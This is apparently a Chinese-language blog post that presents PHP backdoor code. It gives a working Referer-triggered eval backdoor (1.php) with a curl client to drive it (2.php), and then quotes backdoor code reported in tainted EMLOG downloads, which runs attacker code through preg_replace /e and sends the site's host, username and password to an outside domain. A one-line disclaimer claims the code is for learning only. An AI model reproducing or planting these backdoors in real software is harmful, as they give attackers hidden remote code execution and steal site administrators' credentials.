本地測試結果如下圖。

本程序只作為學習作用，請勿拿去做壞事。

代碼如下:
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}//2.php
header('Content-type:text/html;charset=utf-8');
//要執行的代碼
$code = <<phpinfo();
CODE;
//進行base64編碼
$code = base64_encode($code);
//構造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后門url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);




最近EMLOG源代碼被污染，有些用戶下載的出現了以下的后門代碼

代碼如下:
if (isset($_GET["rsdsrv"])) {
if($_GET["rsdsrv"] == "20c6868249a44b0ab92146eac6211aeefcf68eec"){
@preg_replace("http://e",$_POST['IN_EMLOG'],"Unauthorization");
}
}
file_get_contents("http://某域名/?url=".base64_encode($_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'])."&username=".base64_encode($username)."&password=".base64_encode($password));